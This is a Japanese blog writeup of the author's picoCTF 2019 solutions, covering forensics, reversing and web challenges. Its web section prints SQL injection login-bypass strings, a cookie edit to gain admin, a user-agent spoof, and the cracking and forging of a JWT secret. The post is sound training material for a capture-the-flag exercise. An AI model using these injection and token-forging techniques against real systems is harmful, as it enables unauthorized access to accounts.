ぶちのブログ

競プロとCTFが趣味なWebエンジニアのアウトプットの場

picoCTF2019 writeup

はじめに

picoCTF 2019に2人チームで参加して、20151点で15929チーム中274位でした!

f:id:betit0919:20191012133023p:plain

久しぶりにしては、かなり頑張れたと思います。難易度が自分に合っていて、とても楽しかったです。

せっかくの機会なので、復習がてら自分の解いた問題を全て解説します!

また、チームメイトもブログを書くそうなので、公開されたらリンクを張ります。

(追記)チームメイトのブログ記事はこちらです!

解いた問題リスト

# Binary Exploitation
practice-run-1 - Points: 50

# Cryptography
Flags - Points: 200

# Forensics
What Lies Within - Points: 150
extensions - Points: 150
shark on wire 1 - Points: 150
WhitePages - Points: 250
like1000 - Points: 250
shark on wire 2 - Points: 300
WebNet0 - Points: 350
WebNet1 - Points: 450

# General Skills
The Factory's Secret - Points: 1
First Grep - Points: 100
strings it - Points: 100
what's a net cat? - Points: 100
First Grep: Part II - Points: 200

# Reverse Engineering
droids0 - Points: 300
droids1 - Points: 350
Time's Up - Points: 400

# Web Exploitation
Insp3ct0r - Points: 50
dont-use-client-side - Points: 100
logon - Points: 100
where are the robots - Points: 100
Client-side-again - Points: 200
picobrowser - Points: 200
Irish-Name-Repo 1 - Points: 300
Irish-Name-Repo 2 - Points: 350
Irish-Name-Repo 3 - Points: 400
JaWT Scratchpad - Points: 400
Java Script Kiddie - Points: 400
Java Script Kiddie 2 - Points: 450

Binary Exploitation

practice-run-1 - Points: 50

fileコマンドに投げると、ELF 32-bit LSB shared object とわかる。dockerを立てるのがめんどくさかったのでサーバー上のShellで実行

betit0919@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ./run_this 
picoCTF{g3t_r3adY_2_r3v3r53}

Cryptography

Flags - Points: 200

国際信号旗でフラグが与えられる。wikipediaを見て解読する。

f:id:ktabuchi:20191011172513p:plain

PICOCTF{F1AG5AND5TUFF}

Forensics

What Lies Within - Points: 150

与えられた画像ステガノグラフィーでフラグが埋め込まれている。
ここのサイトでデコードする。picoCTF{h1d1ng_1n_th3_b1t5}

extensions - Points: 150

file flag.txt
flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced

より、拡張子をpngに変更して開けばいいとわかる。picoCTF{now_you_know_about_extensions}

shark on wire 1 - Points: 150

wiresharkで開いて、UDP streamを眺めるとフラグが見つかる。picoCTF{StaT31355_636f6e6e}

WhitePages - Points: 250

文字コードの異なる2種類のスペースで構成されたテキストファイルが与えられる。16進数として解釈して、ASCIIコードに変換する。

irb(main):001:0> f=File.read("whitepages.txt")
=> "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "
irb(main):002:0> f.chars.map{|c| c.ord==32 ? "1" : "0"}.each_slice(8).map{|cs| cs.join.to_i(2).chr}.join
=> "\n\t\tpicoCTF\n\n\t\tSEE PUBLIC RECORDS & BACKGROUND REPORT\n\t\t5000 Forbes Ave, Pittsburgh, PA 15213\n\t\tpicoCTF{not_all_spaces_are_created_equal_0696a7c2dfa36b081b44603b8aa78efd}\n\t\t"

like1000 - Points: 250

与えられたtarファイルを1000回解凍するだけ。Rubyからシステムコールした。

irb(main):001:0> (1..1000).reverse_each{|i| system("tar zxvf #{i}.tar")}

picoCTF{l0t5_0f_TAR5}

shark on wire 2 - Points: 300

wiresharkで開いて、通信ポートの一覧を眺めると、怪しい通信がある。UDP streamを眺めていると、これらの通信の前後にstartとendという文字列の通信があるため、そこで気づけるようになっている。

f:id:betit0919:20191012004638p:plain

下3桁をASCIIに変換して、picoCTF{p1LLf3r3d_data_v1a_st3g0}

WebNet0 - Points: 350

秘密鍵が与えられるので、HTTPS通信を解析せよという話。
こちらの記事の通りに鍵の設定をする。

HTTP通信を見るとResponse HeaderにPico-Flag: picoCTF{nongshim.shrimp.crackers}とある。

WebNet1 - Points: 450

WebNet0とほぼ同じ。通信中にvulture.jpgというファイルがあるのでdumpし、stringsに投げる。

strings vulture.jpg | grep picoCTF
picoCTF{honey.roasted.peanuts}

General Skills

The Factory's Secret - Points: 1

ゲームをする。謎解きがよく分からなかったので、だいたい総当りでなんとかした。
QRコードが出てくるので、読み取るとpassword: xmfv53uqkf621gakvh502gxfu1g78gldsとなり、最初の部屋のPCに打ち込む。 flagはpicoCTF{zerozerozerozero}だった。

First Grep - Points: 100

grepするだけ。

betit0919@pico-2019-shell1:/problems/first-grep_2_04dbf496b78e6c37c0097cdfef734d88$ grep picoCTF file
picoCTF{grep_is_good_to_find_things_bf6aec61}

strings it - Points: 100

stringsするだけ。

betit0919@pico-2019-shell1:/problems/strings-it_0_b76c77672f6285e3a39c188481cdff99$ strings strings | grep picoCTF
picoCTF{5tRIng5_1T_f1527258}

what's a net cat? - Points: 100

ncするだけ。

nc 2019shell1.picoctf.com 47229
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_cc4ad2c7}

First Grep: Part II - Points: 200

grep -rするだけ。

betit0919@pico-2019-shell1:/problems/first-grep--part-ii_3_b4bf3244c2886de1566a28c1b5a465ae$ grep -r picoCTF files
files/files2/file5:picoCTF{grep_r_to_find_this_3675d798}

Reverse Engineering

droids0 - Points: 300

logcatを走らせながら、アプリを起動しボタンを押すと、logにI PICO : picoCTF{a.moose.once.bit.my.sister}と出力される。

droids1 - Points: 350

デコンパイルすると、resources内にパスワードが書いてある。
アプリを起動し、パスワードを入力すると、フラグが出力される。

f:id:betit0919:20191012012914p:plain

Time's Up - Points: 400

実行ファイルと通信し、計算結果を返すスクリプトを書けば良い。シェルスクリプトのexpectを使うのが辛かったので、expect.rbというRubyの標準ライブラリを使ったらあっさり。

require 'pty'
require 'expect'

PTY.spawn("./times-up") do |r_f,w_f,pid|
    w_f.sync = true
    $expect_verbose = false

    r_f.expect(/\)\)\)\)\)/) {|m| w_f.puts(eval(m[0].gsub("Challenge: ", "")))}

    r_f.expect(/picoCTF\{.*\}/) {|m| puts m }
end

上のスクリプトをサーバー内のirbで実行すると、

Congrats! Here is the flag!
picoCTF{Gotta go fast. Gotta go FAST. #1626a7fb}

と出力される。

Web Exploitation

Insp3ct0r - Points: 50

検証ツールを開くと、htmlとcssとjsにフラグの一部が埋め込まれているので、結合する。
picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?d3db9182}

dont-use-client-side - Points: 100

検証ツールからjsを確認する。

  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == '0ff3') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_9') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == '4}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }

この関数でverifyされる文字列はpicoCTF{no_clients_plz_90ff34}とわかる。

logon - Points: 100

適当なユーザーでログインすると、権限がない旨を言われる。そこでcookieを眺めると、admin: Falseとあるので、Trueに書き換える。
picoCTF{th3_c0nsp1r4cy_l1v3s_6f2c20e9}

where are the robots - Points: 100

タイトルと、ページの内容から、/robots.txtにアクセスすれば良いとわかる。
robots.txtに書かれているpathにアクセスすると、picoCTF{ca1cu1at1ng_Mach1n3s_713d3}と書いてある。

Client-side-again - Points: 200

難読化されたJSを解読する。

var _0x5a46=['0a0d8}','_again_4','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}

頑張って読んでいくと、picoCTF{not_this_again_40a0d8}となる。

picobrowser - Points: 200

UserAgentをpicobrowserにしてアクセスすれば良い。

curl https://2019shell1.picoctf.com/problem/47202/flag -A "picobrowser"
picoCTF{p1c0_s3cr3t_ag3nt_6b1d92d7}

Irish-Name-Repo 1 - Points: 300

' OR 1 = 1; #と入力すると、全体のSQL文は

SELECT * FROM users WHERE username = '' OR 1 = 1; #' AND password = ''

といった形になり、ログインに成功する。
picoCTF{s0m3_SQL_96ab211c}

Irish-Name-Repo 2 - Points: 350

admin' --と入力すると、全体のSQL文は

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

といった形になり、ログインに成功する。
Your flag is: picoCTF{m0R3_SQL_plz_c1c3dff7}

Irish-Name-Repo 3 - Points: 400

'!='('<>'でも可)と入力すると、全体のSQL文は

SELECT * FROM admin where password = ''!=''

となり、ログインに成功する。
picoCTF{3v3n_m0r3_SQL_a9766759}

JaWT Scratchpad - Points: 400

やることは単純で、JWTのnameをadminにすれば良い。
AlgorithmをNoneに変更する手法も使えず。元からHS256のため、RS256からHS256に変換する手法も使えず。
ページで示唆されているように、john the ripperを用いて、パスワードを解析するしかなかった。 jwt2johnコマンドでJWTをjohnが使える形式に変更する。johnに食わせると、6時間弱でパスワードが解析された

0g 0:00:17:08  3/3 0g/s 3753Kp/s 3753Kc/s 3753KC/s 147501502..147509227
ilovepico        (?)
1g 0:05:49:23 DONE 3/3 (2019-10-10 22:24) 0.000047g/s 4451Kp/s 4451Kc/s 4451KC/s ilovepint..ilovaa1ry

最後に、jwt_toolでnameを変更して得られたtokenをcookieに設定してアクセスすると、フラグが得られる。

f:id:betit0919:20191012020056p:plain

Java Script Kiddie - Points: 400

横幅が16pxのpng画像を、縦側にシフトしている。pngファイルの先頭16バイトは固定なので、各縦列に対してシフト量の候補を求めることができる。コンソールに以下のソルバーを流し込む。

function assemble_png_simulate(u_in){
    var LEN = 16;
    var key = "0000000000000000";
    var shifter;
    if(u_in.length == LEN){
        key = u_in;
    }
    var result = [];
    for(var i = 0; i < LEN; i++){
        shifter = key.charCodeAt(i) - 48;
        for(var j = 0; j < (bytes.length / LEN); j ++){
            result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
        }
    }
    while(result[result.length-1] == 0){
        result = result.slice(0,result.length-1);
    }
    return new Uint8Array(result);
}

var header = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82]

function solve(){
    var ans = []
    var LEN = 16;
    for(var i = 0; i < LEN; i++){
        var kouho = [];
        for(var k = 0; k < 10; k++){
            var key = '0'.repeat(i) + k.toString() + '0'.repeat(15 - i);
            if(assemble_png_simulate(key)[i] == header[i]){
                kouho.push(k.toString())
            }
        }
        ans.push(kouho)
    }
    return ans
}

solve関数を実行するといくつか候補が出てきます。7447829109135496を入力するとQRコードが出力されるので、読み取るとpicoCTF{9e627a851b332d57435b6c32d7c2d4af}となる。

Java Script Kiddie 2 - Points: 450

1とほぼ同じ。修正したコードはこちら。

function assemble_png_simulate(u_in){
    var LEN = 16;
    var key = "00000000000000000000000000000000";
    var shifter;
    if(u_in.length == key.length){
        key = u_in;
    }
    var result = [];
    for(var i = 0; i < LEN; i++){
        shifter = Number(key.slice((i*2),(i*2)+1));
        for(var j = 0; j < (bytes.length / LEN); j ++){
            result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
        }
    }
    while(result[result.length-1] == 0){
        result = result.slice(0,result.length-1);
    }
    return new Uint8Array(result);
}


var header = [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82]

function solve(){
    var ans = []
    var LEN = 16;
    for(var i = 0; i < LEN; i++){
        var kouho = [];
        for(var k = 0; k < 100; k++){
                        var key = '0'.repeat(i*2) + ("00" + k).slice( -2 ) + '0'.repeat((15 - i)*2);
            if(assemble_png_simulate(key)[i] == header[i]){
                kouho.push(k.toString())
            }
        }
        ans.push(kouho)
    }
    return ans
}

50706000107050006010009030000030を入力するとQRコードが出力されるので、読み取るとpicoCTF{b19be0d3b70ffc63b6367ecf136e853e}となる。

おわりに

あんまり練習もできずに、良さげなやつにふらっと出ているのですが、CTFは出るだけでも学びが多くて最高ですね。
特にAndroid問は初めて触ったのでとても勉強になりました。

運営の皆様、ありがとうございました!